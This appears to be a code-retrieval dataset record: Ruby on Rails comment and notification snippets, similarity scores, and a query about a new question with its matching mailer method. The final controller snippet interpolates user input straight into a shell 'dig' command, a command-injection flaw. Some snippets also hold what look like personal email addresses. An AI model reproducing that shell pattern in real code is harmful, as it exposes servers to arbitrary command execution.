"def create\n @blog = Blog.find(params[:blog_id])\n @entry = Entry.find(params[:entry_id])\n @comment = @entry.comments.build(comment_params)\n @comment.status = 'unapproved'\n\n respond_to do |format|\n if @comment.save\n NoticeMailer.notify_admin_comment_added(@blog, @entry, @comment).deliver\n format.html { redirect_to blog_entry_path(@blog, @entry), notice: 'Comment was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def question_notification(asker, subject, details)\n @asker = asker\n @subject = subject\n @details = details\n\n mail to: \"Alex Yang <alexyang.personal@gmail.com>\",\n from: \"BaseRails <notifications@baserails.com>\",\n subject: \"#{asker} posted a new question on BaseRails\"\n end",
"def comment_notification(user_id, comment_id)\n user = User.find(user_id)\n @comment = Comment.find(comment_id)\n mail(\n :to => user.email,\n :subject => \"[#{ArchiveConfig.APP_NAME}] Comment on \" + @comment.ultimate_parent.commentable_name.gsub(\">\", \">\").gsub(\"<\", \"<\")\n )\n end",
"def send_reply\n if self.response_changed?\n @notifiable = self\n @tutor = User.find(self.user_id)\n @student = User.find(self.pupil_id)\n\n if self.response == \"Declined\"\n @description = self.pupil.title + \" has sadly declined your offer\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You hve declined the offer by ' + @tutor.title)\n else\n @description = self.pupil.title + \" is now a student at your school\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You are now a student of ' + @tutor.title)\n end\n @notifiable.notifications.create(:user => @student, :receiver_id => @tutor.id, :message => @description)\n end\n end",
"def commented(post)\n @post = post\n @greeting = \"Hi\"\n\n mail to: 'barvis.fuchschittehr@gmail.com'\n nd\n\n # Subject can be set in your I18n file at config/locales/en.yml\n # with the following lookup:\n #\n # en.post_mailer.deleted.subject\n #\n def deleted\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end\n\n # Subject can be set in your I18n file at config/locales/en.yml\n # with the following lookup:\n #\n # en.post_mailer.updated.subject\n #\n def updated\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end\nend",
"def comment_added(comment)\n @place = comment.place # pulling from db\n @place_owner = @place.user # pulling specific owner of comment from db\n # Would be mail(to: @place_owner.email, ...) if owner of comment to receive msg\n mail(to: 'webdev.throwaway@gmail.com',\n subject: \"A comment was added to #{@place.name}\")\n end",
"def comment_replied_to(options = {})\n send_comment_notification(options, \"reply_notice\")\n end",
"def add_comment\n @link = Link.find(params[:id])\n @notice = @link.add_comment params[:comment][:title], params[:comment][:text]\n \t\t@count = @link.comments.size\n \t\t@comment = @link.comments[@count-1]\n end",
"def comment\n\n client = user_client\n comment = params[:comment]\n mixpanel_tab_event(\"View Item\", \"Post Comment\")\n\n if (comment != \"\")\n # get file and add comment\n file = client.file_from_id(session[:fileId])\n client.add_comment_to_file(file, message: comment)\n end\n\n redirect_to view_doc_path(session[:fileId])\n end",
"def create_comment(note,comment_text)\n Comment.create(:commentable_type=>note.class.name,:commentable_id=>note.id,:created_by_user_id=>current_user.id,\n :comment=>comment_text,:company_id=>note.company_id,:title=>note.class.name)\n end",
"def create\n @comment = Comment.new(comment_params)\n respond_to do |format|\n if @comment.save\n NewCommentNotificationJob.perform_now(@comment.post.id)\n\n format.html { redirect_to post_path(@comment.post_id), notice: 'Comment was successfully created.' }\n format.json { render :show, status: :created, location: @comment }\n else\n format.html { redirect_to post_path(params[:post_id]) }\n format.json { render json: @comment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def review_posted(email,permalink) \n @service_permalink = permalink \n subject = \"A review was posted for your service\"\n setup_email(email, subject)\n end",
"def create\n\n @question = Question.new(question_params)\n @question.save\n if @question.valid?\n Reviewer.notify_reviewers('New Question', @question.title, @question.id)\n flash[:notice] = 'Reviewers have been notified. Your question is pending'\n else\n flash[:alert] = 'Please fill out all the fields and try again.'\n end\n redirect_to new_question_path\n end",
"def add_activity\n # if !self.commentable.is_a?(Activity) # don't add comments to the activity feed that are comments on the items in the activity feed.\n content = I18n.t('muck.comments.new_comment')\n add_activity(self, self, self, 'comment', '', content)\n end",
"def create\n @comment = Comment.new(comment_params)\n @comment.user_id = current_user.id if current_user\n\n #render :json => {status: 0, user: current_user, content: @comment.content}\n if current_user && @comment.save\n receive_user = Share.find_by(id: comment_params['share_id']).user\n ## TODO\n #if receive_user.username != current_user.username\n Notification.create( kind: \"comment\", receive_user_id: receive_user.id, receive_user: receive_user.username, send_user: current_user.username )\n #end\n comment_size = Share.find(comment_params['share_id']).comments.size\n render :json => {status: 0, user: current_user, content: @comment.content, comment_size: comment_size}\n else\n render :json => {status: 1, user: nil}\n end\n end",
"def record_reveal\n votes = Vote.where(story_id: @resource[:story_id])\n project_id = session[:last_project].to_i\n comment_content = votes.map { |vote| \"#{vote.user}: #{vote.vote}\"}.join('\\n')\n comment_content = \"Votes: \\n#{comment_content}\"\n\n story = @client.project(project_id).story(@resource[:story_id].to_i)\n story.create_comment(text: comment_content)\n end",
"def comment(text, options = {})\n requires :identity\n\n options[:public] = true if options[:public].nil?\n\n comment = Zendesk2.stringify_keys(options).merge('body' => text)\n\n cistern.ticket_comments.new(\n cistern.update_ticket(\n 'ticket' => {\n 'id' => identity,\n 'comment' => comment,\n }\n ).body['audit']['events'].first\n )\n end",
"def create!(note)\n self.class.post('/notifications.xml', :body => note.to_xml)\n end",
"def changes(comment)\n @comment = comment\n\n mail to: [@comment.video.project.users.pluck(:email)],\n subject: 'New Comment on ' + @comment.video.project.title\n end",
"def comment(id)\n record \"/msg/comment/#{id}\"\n end",
"def test_ID_25863_comment_on_review()\n login $user_1_email, $master_password\n read_all_updates\n \n $browser.goto(\"http://flatiron.#{$environment}.patch.com/listings/yelp\")\n $share_review_text_field.when_present().click\n $post_compose_review.when_present().set (\"Automated review text #{random}\")\n $group_post_button.when_present().click\n\n logout_common\n login $user_1_email, $master_password\n $browser.goto(\"http://flatiron.#{$environment}.i.patch.com/listings/yelp\")\n $comment_icon.click\n sleep 3\n $leave_comment_textfield.set \"Automated comment text #{random}\"\n $group_post_comment.click\n logout_common\n login $user_1_email, $master_password\n verify_updates\n end",
"def send_notifications\n send_new_post_to(:sender) if self.sender.notify_on_comment_posted\n send_new_post_to(:receiver) if self.receiver && self.receiver.notify_on_comment_received\n end",
"def post_comment(action, name, message)\n summary = :\"name_#{action}_comment_summary\".l\n comment = Comment.create!(\n :target => name,\n :summary => summary,\n :comment => message\n )\n Transaction.post_comment(\n :id => comment,\n :target => name,\n :summary => summary,\n :comment => message\n )\n end"
] |
[
"0.7366315",
"0.7212313",
"0.7149339",
"0.69975203",
"0.69843256",
"0.6931522",
"0.69195795",
"0.69028443",
"0.6797928",
"0.67903423",
"0.67633265",
"0.6720222",
"0.6671905",
"0.6666856",
"0.6666589",
"0.664649",
"0.66284055",
"0.6590103",
"0.65852016",
"0.6565425",
"0.65571666",
"0.6541333",
"0.65262014",
"0.65162253",
"0.64899135",
"0.64888126",
"0.64776057",
"0.6457265",
"0.6457265",
"0.6457265",
"0.6455857",
"0.64480335",
"0.64446163",
"0.6437104",
"0.6398487",
"0.63817436",
"0.63790923",
"0.6378289",
"0.63675404",
"0.636431",
"0.6362281",
"0.6359043",
"0.63452375",
"0.6342217",
"0.6336698",
"0.6331463",
"0.6329851",
"0.632563",
"0.63162583",
"0.6297009",
"0.62906766",
"0.62892264",
"0.62881625",
"0.62811005",
"0.6276562",
"0.6260619",
"0.62562025",
"0.6245021",
"0.62424725",
"0.6234435",
"0.62262",
"0.62100637",
"0.6204371",
"0.6199572",
"0.61911637",
"0.618208",
"0.6181853",
"0.61723346",
"0.6165248",
"0.61625683",
"0.6151644",
"0.61344784",
"0.6124471",
"0.6120641",
"0.6114582",
"0.61101043",
"0.6101768",
"0.6094414",
"0.6079994",
"0.60782444",
"0.6076841",
"0.6068563",
"0.6061927",
"0.60609263",
"0.6059124",
"0.60576576",
"0.6055287",
"0.604986",
"0.6045821",
"0.6045085",
"0.6042998",
"0.60389924",
"0.6037106",
"0.60334957",
"0.60325414",
"0.60311675",
"0.6027727",
"0.602176",
"0.6017206",
"0.6015547"
] |
0.68066525
|
8
|
New question is asked
|
def question_notification(asker, subject, details)
@asker = asker
@subject = subject
@details = details
mail to: "Alex Yang <alexyang.personal@gmail.com>",
from: "BaseRails <notifications@baserails.com>",
subject: "#{asker} posted a new question on BaseRails"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def for_new_question\n @for_new_question ||= false\n end",
"def questions\n \n end",
"def similar_questions\n\n end",
"def question(q, a)\n qu = Question.new(q,a)\n questions << qu\n @counter = 0 #Se inicializa el contador\n end",
"def new_question\n new_question = Question.new\n new_question.ask_question(name)\n #awaits user answer\n print 'Answer: '\n @choice = STDIN.gets.chomp\n #performs validation on answer\n if new_question.check_answer(@choice.to_i)\n puts \"Yes! You got it!\"\n else\n puts \"Back to the drawing board with you...\"\n wrong_answer\n end\n end",
"def ask_question\n\n end",
"def quiz\n end",
"def ask_questionaire\n alert_reserved_and_exit if git.reserved_branch?\n announce\n ask_title\n ask_label\n ask_pivotal_ids if config.use_pivotal_tracker\n ask_jira_ids if config.use_jira\n end",
"def question\n answer.question\n end",
"def answer\n @question = params[:question]\n if @question == 'I am going to work' then @answer = 'Great!'\n elsif @question.include? '?'\n then @answer = 'Silly question, get dressed and go to work'\n else @answer = \"I don't care, get dressed and go to work!\"\n end\n end",
"def question\n @question = params[:question]\n @answer = %w[yes no].sample\n end",
"def answer\n @question = params[:questions]\n # we need to get the value from params in order to store the question.\n if @question.eql? 'I am going to work'\n @answer = 'Great!'\n elsif @question.end_with?('?')\n @answer = 'Silly question, get dressed and go to work!'\n else\n @answer = \"I don't care, get dressed and go to work!\"\n # we create @ = instance variable in order to use outside of the method.\n end\n end",
"def give_answer(question)\n if question.downcase == 'i am going to work'\n 'Great!'\n elsif question.chars[-1] == '?'\n 'Silly question, get dressed and go to work!'\n else\n 'I don\\'t care, get dressed and go to work!'\n end\n end",
"def add_new_questions\n questionnaire_id = params[:id]\n # If the questionnaire is being used in the active period of an assignment, delete existing responses before adding new questions\n if AnswerHelper.check_and_delete_responses(questionnaire_id)\n flash[:success] = 'You have successfully added a new question. Any existing reviews for the questionnaire have been deleted!'\n else\n flash[:success] = 'You have successfully added a new question.'\n end\n\n questionnaire = Questionnaire.find(questionnaire_id)\n current_num_of_questions = questionnaire.questions.size\n max_seq = 0\n Questionnaire.find(questionnaire_id).questions.each do |question|\n if !question.seq.nil? && question.seq > max_seq\n max_seq = question.seq\n end\n end\n ((current_num_of_questions + 1)..(current_num_of_questions + params[:question][:total_num].to_i)).each do\n max_seq += 1\n # Create question object based on type using question_factory\n question = question_factory(params[:question][:type], questionnaire_id, max_seq)\n if question.is_a? ScoredQuestion\n question.weight = params[:question][:weight]\n question.max_label = Question::MAX_LABEL\n question.min_label = Question::MIN_LABEL\n end\n\n if Question::SIZES.key?(question.class.name)\n question.size = Question::SIZES[question.class.name]\n end\n if Question::ALTERNATIVES.key?(question.class.name)\n question.alternatives = Question::ALTERNATIVES[question.class.name]\n end\n\n begin\n question.save\n rescue StandardError => e\n flash[:error] = e.message\n end\n end\n redirect_to edit_questionnaire_path(questionnaire_id.to_sym)\n end",
"def ask\n \"@all Question '#{@question}'\"\n end",
"def ask\n @question = params[:question]\n end",
"def prapor_quest; end",
"def ask_q\n @current_ans = generate_q\n end",
"def create_question\n question_hash = Adapter.quiz_api(difficulty) #use adapter method, with difficulty passes into the url as a variable, to gnerate a new list of questions.\n new_question = Question.new #make a new question instance\n new_question.save #save now so we can store the question's id in the answer by calling self.id\n new_question.content = question_hash['question'] #adding all necessary column data to this question object/row\n new_question.create_answers(question_hash)\n new_question.quiz_id = self.id\n new_question.save #send the newly created question to the database\n end",
"def new_question(question, recepient)\n if recepient.privacy_setting.notify_on_new_question \n @question, @recepient = question, recepient\n mail(\n :subject => \"#{@question.user.name} just asked a new question.\",\n :from => \"noreply@studyhall.com\",\n :to => recepient.email,\n :date => Time.now\n )\n end\n end",
"def insert_question_after(part_num, question_num, qtype)\n if question_num.to_i == 0\n frm.select(:id=>\"assesssmentForm:parts:#{part_num.to_i - 1}:changeQType\").select(qtype)\n else\n frm.select(:id=>\"assesssmentForm:parts:#{part_num.to_i - 1}:parts:#{question_num.to_i - 1}:changeQType\").select(qtype)\n end\n\n page = case(qtype)\n when \"Multiple Choice\" then MultipleChoice.new(@browser)\n when \"True False\" then TrueFalse.new(@browser)\n when \"Survey\" then Survey.new(@browser)\n when \"Short Answer/Essay\" then ShortAnswer.new(@browser)\n when \"Fill in the Blank\" then FillInBlank.new(@browser)\n when \"Numeric Response\" then NumericResponse.new(@browser)\n when \"Matching\" then Matching.new(@browser)\n when \"Audio Recording\" then AudioRecording.new(@browser)\n when \"File Upload\" then FileUpload.new(@browser)\n else puts \"#{qtype} is not a valid question type\"\n end\n\n return page\n\n end",
"def askQuestion(timeframe=1*DAY_TO_SECONDS)\n facts = @kb.getFacts(timeframe)\n while facts.length > 0\n fact = facts.sample\n matched = []\n @qat.each do |qat|\n ismatch = qat.matches(fact)\n matched.push(ismatch) if ismatch\n end\n qat,matchesArr = matched.sample\n if not qat #matching failed to match QAT and Tag\n facts = facts - [fact]\n next\n else\n #write question\n question,answers = qat.generateQuestionAnswerPair(fact,matchesArr)\n answers = [answers]\n if qat.aconds.first[:type] and qat.aconds.first[:type].include? 'list'\n similar = @kb.getSimilar(fact,timeframe,(not qat.aconds.first[:type].include? 'anysubclass'))\n similar.each do |simfact|\n answers << qat.generateQuestionAnswerPair(simfact,matchesArr)[1]\n end\n end\n puts \"Question:#{question}\"\n puts \"Possible Answers:#{answers.map {|a| a.gsub(\"\\n\",\"\")}}\"\n return [question,answers]\n end\n end\n return false\n end",
"def new_question\n back = false\n until back\n puts 'Which category does your question fall under?'.cyan\n category = display_category\n if category == 'Back to Menu'\n back = true\n else \n puts 'Please enter your question:'.cyan\n ques_input = STDIN.gets.chomp\n if ques_input.downcase == 'back'\n back = true\n else\n # checking if question already exists\n category_set = find_category(category)\n if find_question(category_set['content'], ques_input)\n puts 'That question already exists'.red\n else\n # Create question\n puts 'Please enter the answer:'.cyan\n ans_input = STDIN.gets.chomp.downcase\n create_question(category, { question: ques_input, answer: ans_input })\n puts 'Successfully added new question'.green\n end\n end\n end\n end\nend",
"def add_question\n\t\t\tif(current_instructor.quizzes.exists?(:id => params[:quiz_id]))\n\t\t\t\tquiz = current_instructor.quizzes.find(params[:quiz_id])\n\t\t\t\tno = quiz.no_of_MCQ + quiz.no_of_rearrangeQ\t\n\t\t\t\tno.times do |n|\n\t\t\t\t\tquestion = Question.create((params[\"_json\"][n]).permit([:text, :mark, :right_answer, :choices => []]))\n\t\t\t\t\tquiz.questions << question\n\t\t\t\tend\n\t\t\t\trender json: { info: \"created\"}, status: 201\n\t\t\telse\n\t\t\t\trender json: { error:\"Quiz is not found\" }, status: 422\n\t\t\tend\n\t\tend",
"def _create_new_question(short_name, text, question_type, domain, current_user_id, choices)\n\t\t@new_question = Question.new(:short_name => short_name, :text => text, :question_type => question_type, :created_by => current_user.id, :updated_by => current_user.id, :domain => domain)\n\t \tif @new_question.save\n\t \t\t@error_message = '[INFO] Question saved to database!'\n \t\telse\n \t\t\t@error_message = 'ERROR: could not save new question'\n \t\tend\n \t\t\n \t\tif question_type != 'TEXT' # if this was a choice question, store the choices\n \t\t\t_update_current_choices_and_inclusions(@new_question.id,choices)\n\t\tend\n\tend",
"def question\n self.question\n end",
"def formulate_question\n @category = @user.available_questions.sample.keys\n @category_instance = Category.all.select {|cat| cat.name == @category[0]}\n category_hash = @user.available_questions.select {|h| h.keys == @category}\n @country = category_hash[0].values[0].sample\n @country_instance = Country.all.select {|cou| cou.name == @country}\n pose_question\n end",
"def create_question\n @question = \"#{operand} #{type} #{operand}\"\n end",
"def skier_quest; end",
"def new\n @question_id = (@exam_session.exam.questions.find :first,\n :offset => (@exam_session.current_question - 1)).id\n \n @exam_session.update_attribute(:updated_at, Time.now)\n \n @question = Question.find_by_id_and_return_xml_table(@question_id)\n \n @choices = { 'choiceA' => @question.choice_a,\n 'choiceB' => @question.choice_b,\n 'choiceC' => @question.choice_c,\n 'choiceD' => @question.choice_d,\n 'choiceE' => @question.choice_e,\n }\n end",
"def refresh_question?\n question_responses >= refresh_question_after\n end",
"def ask_question_and_check_answer\n question = MathGame::Question.new\n puts \"#{@turn}: #{question.display_question}\"\n question.obtain_answer\n question.display_message_on_answer\n question.correct?\n end",
"def next_question\n all_questions = Question.find(:all)\n answered_questions = answers.collect{|a| a.question}\n all_questions.detect{|q| !answered_questions.include?(q)}\n end",
"def mechanic_quest; end",
"def add_question\n @event.respond('Enter a new question: ')\n ques = @event.user.await!(timeout: 60)\n return open_channel if ques.nil?\n\n ques = ques.content\n @event.respond('Enter the answer: ')\n ans = @event.user.await!(timeout: 60)\n return open_channel if ans.nil?\n\n ans = ans.content.gsub(/\\W/, '').downcase # Clean up the answer by removing caps and non [a-z] [0-9] chars\n @event.respond('Commit to database? (y/n): ')\n prompt = @event.user.await!(timeout: 60)\n unless prompt.nil? || prompt.content != 'y'\n begin\n @@trivia_db.prepare('INSERT INTO trivia(question, answer, addedby) VALUES(?, ?, ?)').execute(ques, ans, @event.user.id)\n rescue SQLite3::Exception\n @event.respond('Unable to write to database!')\n else\n @event.respond('Changes saved')\n end\n end\n open_channel\n end",
"def ask_questions\n super\n print \"What was your reason for joining? \"\n self.reason_for_joining = gets.strip.chomp\n end",
"def create_answers_if\n if self.type.name == 'satisfaction-100'\n 5.times do |n|\n Answer.create(question: self, value: (n*25).to_s + \"%\")\n end\n end\n if self.type.name == 'free-text'\n Answer.create(question: self, value: \"textarea\")\n end\n end",
"def single_choice_question(text, points)\n question = SingleOptionQuestion.new(text, points)\n @errorReporter.register question\n @test.add_question question\nend",
"def next_q(nick = @config[:nick])\n self.say \"\\0032Correct\\0033 #{nick}.\\0032 The answer was:\\0034 #{@questions[@trivia[:cur_quest]][:answer]}\"\n if @questions.length > (@trivia[:number] + 1)\n @trivia[:cur_quest] = (rand @questions.length)\n self.ask_question(@trivia[:cur_quest])\n else\n self.trivia_end\n end\n end",
"def ask_question(num = @trivia[:cur_quest])\n self.say \"\\0036 #{@questions[num][:question]}\"\n STDOUT.puts \"\\n :#{@questions[@trivia[:cur_quest]][:answer]}: \\n\"\n end",
"def general_q(question)\n p question\n gets.chomp\nend",
"def create\n @question = Question.new(:online => false,\n :chapter => @chapter,\n :statement => params[:question][:statement],\n :level => (@chapter.section.fondation? ? 0 : params[:question][:level]),\n :explanation => \"À écrire\")\n if params[:question][:is_qcm] == '1'\n @question.is_qcm = true\n @question.many_answers = (params[:question][:many_answers] == '1')\n @question.answer = 0\n else\n @question.is_qcm = false\n if params[:question][:decimal] == '1'\n @question.decimal = true\n @question.answer = params[:question][:answer].gsub(\",\",\".\").to_f\n else\n @question.decimal = false\n @question.answer = params[:question][:answer].gsub(\",\",\".\").to_i\n end\n end\n before = 0\n unless @chapter.questions.empty?\n need = @chapter.questions.order('position').reverse_order.first\n before = need.position\n end\n @question.position = before + 1\n if @question.save\n flash[:success] = \"Exercice ajouté.\"\n if @question.is_qcm\n redirect_to question_manage_items_path(@question)\n else\n redirect_to chapter_path(@chapter, :type => 5, :which => @question.id)\n end\n else\n render 'new'\n end\n end",
"def add_question(question)\n @questions << question\n end",
"def open_answer_question(text, points, correctAnswer)\n question = OpenQuestion.new(text, points, NIE)\n @errorReporter.register question\n @test.add_question question\n correct_answer(correctAnswer)\nend",
"def new_answer(answer, commenter, author, question)\n if author.privacy_setting.notify_on_answer\n @answer, @commenter, @author, @question = answer, commenter, author, question\n mail(\n :subject => \"#{@commenter.name.titleize} just answered your question.\",\n :from => \"noreply@studyhall.com\",\n :to => author.email,\n :date => Time.now\n )\n end\n end",
"def create\n question = current_user.questions.new(question_params)\n question.answers.first.creator = current_user\n question.save\n\n # users get one vote for their own questions by default\n # (so their karma/score improves as they create questions)\n current_user.vote_for(question)\n\n msg = %Q[Your question has been submitted! View it #{view_context.link_to(\"here\", qset_path(question_params[:qset_id]))}].html_safe\n redirect_to new_question_path, notice: msg, flash: { html_safe: true }\n end",
"def perform(user, questions)\n \n end",
"def save_new_questions(questionnaire_id)\n\n if params[:new_question]\n # The new_question array contains all the new questions\n # that should be saved to the database\n for question_key in params[:new_question].keys\n q = Question.new(params[:new_question][question_key])\n q.questionnaire_id = questionnaire_id\n if @questionnaire.type == \"QuizQuestionnaire\"\n q.weight = 1 #setting the weight to 1 for quiz questionnaire since the model validates this field\n q.true_false = false\n end\n q.save if !q.txt.strip.empty?\n end\n end\n end",
"def unanswered_questions; questions_not_matching_query(answered_questions_query); end",
"def info() quiz_question.info end",
"def ask\n end",
"def question\n instructions.size == 3 ? instructions.last : nil\n end",
"def questions_explanation\n puts \"Time to do the quiz!.\"\n puts \"\"\n puts \"Each question will be printed to the screen.\"\n puts \"Once you see it, simply type in your answer and hit the enter/return key.\"\n puts \"If you can't think of an answer right away, you can skip the question and return to it at the end.\"\n puts \"\"\n puts \"Ok, let's go! (Hit enter/return when you're ready)\"\n gets\n end",
"def create\n\t@question = Question.new(params[:question])\n\t if @question.type.name==\"Matrix Type Question\"\n\t @question.answer=100\n\t end\n\t@questionnaire = Questionnaire.find(params[:questionnaire_id])\n\n\trespond_to do |format|\n\t if @question.save\n\t\t@questionnaire_question = QuestionnaireQuestion.new\n\t\t@questionnaire_question.questionnaire_id=@questionnaire.id\n\t\t@questionnaire_question.question_id=@question.id\n\t\t@questionnaire_question.save\n\n\t\ts=\"True\"\n\t\tif @question.type.name==\"True-False Question\"\n\t\t 2.times do |i|\n\t\t\t@option=Option.new\n\t\t\t@option.name=s\n\t\t\ts=\"False\"\n\t\t\t@option.question_id=@question.id\n\t\t\t@option.option_number=(i+1)\n\t\t\t@option.save\n\n\t\t end\n\t\tend\n\t\tif (@question.type.name==\"Open Ended Question\" || @question.type.name==\"True-False Question\") then\n\t\t format.html { redirect_to new_question_path(:questionnaire_id=>@questionnaire.id), :notice => 'Question was successfully created.' }\n\t\telse\n\t\t if (@question.type.name==\"Matrix Type Question\")\n\n\t\t\tformat.html { redirect_to :controller => :matrix, :action => 'index', :question_id=>@question.id, :notice => 'Question was successfully created.' }\n\t\t end\n\t\t format.html { redirect_to new_option_path(:question_id=>@question.id, :notice => 'Question was successfully created.') }\n\t\tend\n\t else\n\t\tformat.html { redirect_to :action => \"new\" ,:questionnaire_id=>@questionnaire.id}\n\t\tformat.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end",
"def add_answer(ans_attr)\n return nil if answers.find_by_question_id(ans_attr[:question_id])\n ans = answers.build(ans_attr)\n if ans.question_option_id && option = ans.question.options.find(ans.question_option_id)\n ans.points = option.points_to_award\n ans.correct = option.correct?\n ans.entry_id = option.entry_id\n end \n ans.save\n reload\n ans\n end",
"def question_add\n\t\t$DATABASE.execute('INSERT INTO jeopardy (cat_id, question, answer,points) VALUES (?,?,?,?)', [category, question, answer, points])\n\tend",
"def create_question(question) \n visit questions_path\n \n click_on \"Ask question\"\n fill_in \"Title\", with: question.title\n fill_in \"Body\", with: question.body\n click_on \"Create\"\n end",
"def question(n)\n send \"question_#{n}\"\n end",
"def create_a_question\n q = ShortQuestion.create({\n :text => params[:text],\n :belongs_to_topic => params[:topic],\n :by => params[:by] || \"admin\",\n :by_id => params[:by_id]\n })\n params[:answers].each do |ans|\n a = q.short_answers.create({\n :text => ans.text,\n :choice_num => ans.choice \n })\n end\n $r.hset(\"question:#{q.id}:answers\", :num_choices, params[:answers].length)\n # Not setting the value of the answers to 0, as any increment will take care of initializing those keys\n end",
"def faq\n\n end",
"def find_answer\nend",
"def ask_question\n @question = Question.new\n puts \"#{@current_player.name}: #{@question.show}\"\n end",
"def ask(question)\n session[:question_id] = question.id\n session[:correct_answer] = question.answer_correct\n session[:current_answers] = [@question.answer_correct, @question.answer_wrong_1, @question.answer_wrong_2, @question.answer_wrong_3].shuffle\n end",
"def create_question(name, ideas = [])\n ideas = ideas.join(\"\\n\") if ideas.is_a? Array\n q = Pairwise::Question.create({\n :name => name,\n :visitor_identifier => @local_identifier.to_s,\n :local_identifier => @local_identifier.to_s,\n :ideas => ideas\n })\n q.it_should_autoactivate_ideas = true\n q.active = true\n q.save\n q\n end",
"def ask_question\n puts \"#{@current_player.name} what is the answer to: #{@a} #{@operator} #{@b} = ?\"\n end",
"def process_question\n\t\t#There are two types of Questions - One which starts with 'how many Credits is ' and the other is 'how much is' \n\t\tif @line.start_with? \"how many Credits is \"\n\t\t\tmain_question_part = @line.split(\"how many Credits is \")[1] #e.g from how many Credits is glob prok Silver ? gets glob prok Silver ?\n\t\t\tgalatic_literals = Translation.translate_question(main_question_part) #e.g from glob prok Silver gets glob prok\n\t\t\ttrademetal = TradeMetal.get_trade_metal(main_question_part) #e.g from glob prok Silver gets Silver\n\t\t\tif trademetal && galatic_literals\n\t\t\t\ttrademetal_price_credit = (galatic_literals.galactic_words_to_numeral * trademetal.unit_price).to_i\n\t\t\t\tputs \"#{galatic_literals} #{trademetal.coin_name} is #{trademetal_price_credit} Credits\"\n\t\t\t\treturn\n\t\t\tend\n\t\telsif @line.start_with? \"how much is \"\n\t\t\tmain_question_part = @line.split(\"how much is \")[1] #e.g from how much is pish tegj glob glob ? gets pish tegj glob glob ?\n\t\t\tgalatic_literals = Translation.translate_question(main_question_part) #e.g from pish tegj glob glob ? gets pish tegj glob glob\n\t\t\tif galatic_literals\n\t\t\t\tconversion_value = galatic_literals.galactic_words_to_numeral\n\t\t\t\tputs \"#{galatic_literals} is #{conversion_value}\"\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\tthrow_away_meaningless_line\n\tend",
"def ragman_quest; end",
"def question!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 31 )\n\n type = QUESTION\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 165:11: '?'\n match( 0x3f )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 31 )\n\n end",
"def faq\n end",
"def faq\n end",
"def question\n puts \"#{@question}\"\n end",
"def create\n @question = Question.new(params[:question])\n @problem_set = ProblemSet.find(params[:problem_set_id])\n @question.problem_set_id = @problem_set.id\n @question.count = @problem_set.question_count + 1\n\n c = false\n ans = false\n\n @ans1 = Answer.new(params[:answer1]) \n @ans2 = Answer.new(params[:answer2]) \n @ans3 = Answer.new(params[:answer3]) \n @ans4 = Answer.new(params[:answer4]) \n\n if @ans1.correct or @ans2.correct or @ans3.correct or @ans4.correct\n c = true\n end\n if params[:answer1][:answer] == \"\"\n @ans1 = nil\n end\n if params[:answer2][:answer] == \"\"\n @ans2 = nil\n end\n if params[:answer3][:answer] == \"\"\n @ans3 = nil\n end\n if params[:answer4][:answer] == \"\"\n @ans4 = nil\n end\n\n if @ans1 or @ans2 or @ans3 or @ans4\n ans = true \n end\n\n respond_to do |format|\n if c and ans \n if @question.save\n @problem_set.question_count += 1\n @problem_set.save \n if @ans1\n @ans1.question_id = @question.id\n @ans1.save\n end\n \n if @ans2\n @ans2.question_id = @question.id\n @ans2.save\n end\n\n if @ans3\n @ans3.question_id = @question.id\n @ans3.save\n end\n \n if @ans4\n @ans4.question_id = @question.id\n @ans4.save\n end\n\n format.html { redirect_to(problem_set_questions_path(@problem_set), :notice => 'Question was successfully created.') }\n format.xml { render :xml => @question, :status => :created, :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ans1, :status => :unprocessable_entity }\n end\n end\n end",
"def inspect_question(q)\n index_question(q) unless q.tag.empty?\n ref_question(q)\n q.answers.each { |a| ref_answer(q, a) }\n end",
"def therapist_quest; end",
"def create\n @question = current_user.questions.new(question_params)\n namedns=@question.dnsname\n type=@question.recordtype\n server=@question.server\n time=@question.timeperiod\n testing = %x[ dig #{namedns} #{type} | grep \"SERVER:\" ]\n c,d=testing.split(\": \")\n e,f=d.split(\"#\")\n if e != \"127.0.0.1\"\n \n if server==\"\"\n value2 = %x[ dig #{namedns} #{type} | grep \"SERVER:\" ]\n c,d=value2.split(\": \") \n e,f=d.split(\"#\")\n query1=%x[dig #{namedns} #{type} | grep \"QUERY:\"]\n q1,q2,q3,q4=query1.split(\",\")\n q5,q6,q66=q1.split(\": \")\n q7,q8=q2.split(\": \")\n q9,q10=q3.split(\": \")\n q11,q12=q4.split(\": \")\n query2=query1=%x[dig #{namedns} #{type} | grep \"version:\"]\n q21,q22=query2.split(\",\")\n q23,q24,q25=q21.split(\": \")\n q26,q27,q28=q22.split(\": \")\n else\n value2 = %x[ dig @#{server} #{namedns} #{type} | grep \"SERVER:\" ]\n c,d=value2.split(\": \")\n e,f=d.split(\"#\")\n query1=%x[dig @#{server} #{namedns} #{type} | grep \"QUERY:\"]\n q1,q2,q3,q4=query1.split(\",\")\n q5,q6,q66=q1.split(\": \")\n q7,q8=q2.split(\": \")\n q9,q10=q3.split(\": \")\n q11,q12=q4.split(\": \")\n query2=query1=%x[dig @#{server} #{namedns} #{type} | grep \"version:\"]\n q21,q22=query2.split(\",\")\n q23,q24,q25=q21.split(\": \")\n q26,q27,q28=q22.split(\": \")\n end\n end\n server=e\n \n if server.blank?\n @question=current_user.questions.create(dnsname: namedns, recordtype: type, server: server, timeperiod: time, query: q66, answer: q8, authority: q10, additional: q12, version: q25, udp: q27)\n else\n @question=current_user.questions.create(dnsname: namedns, recordtype: type, server: server, timeperiod: time, query: q66, answer: q8, authority: q10, additional: q12, version: q25, 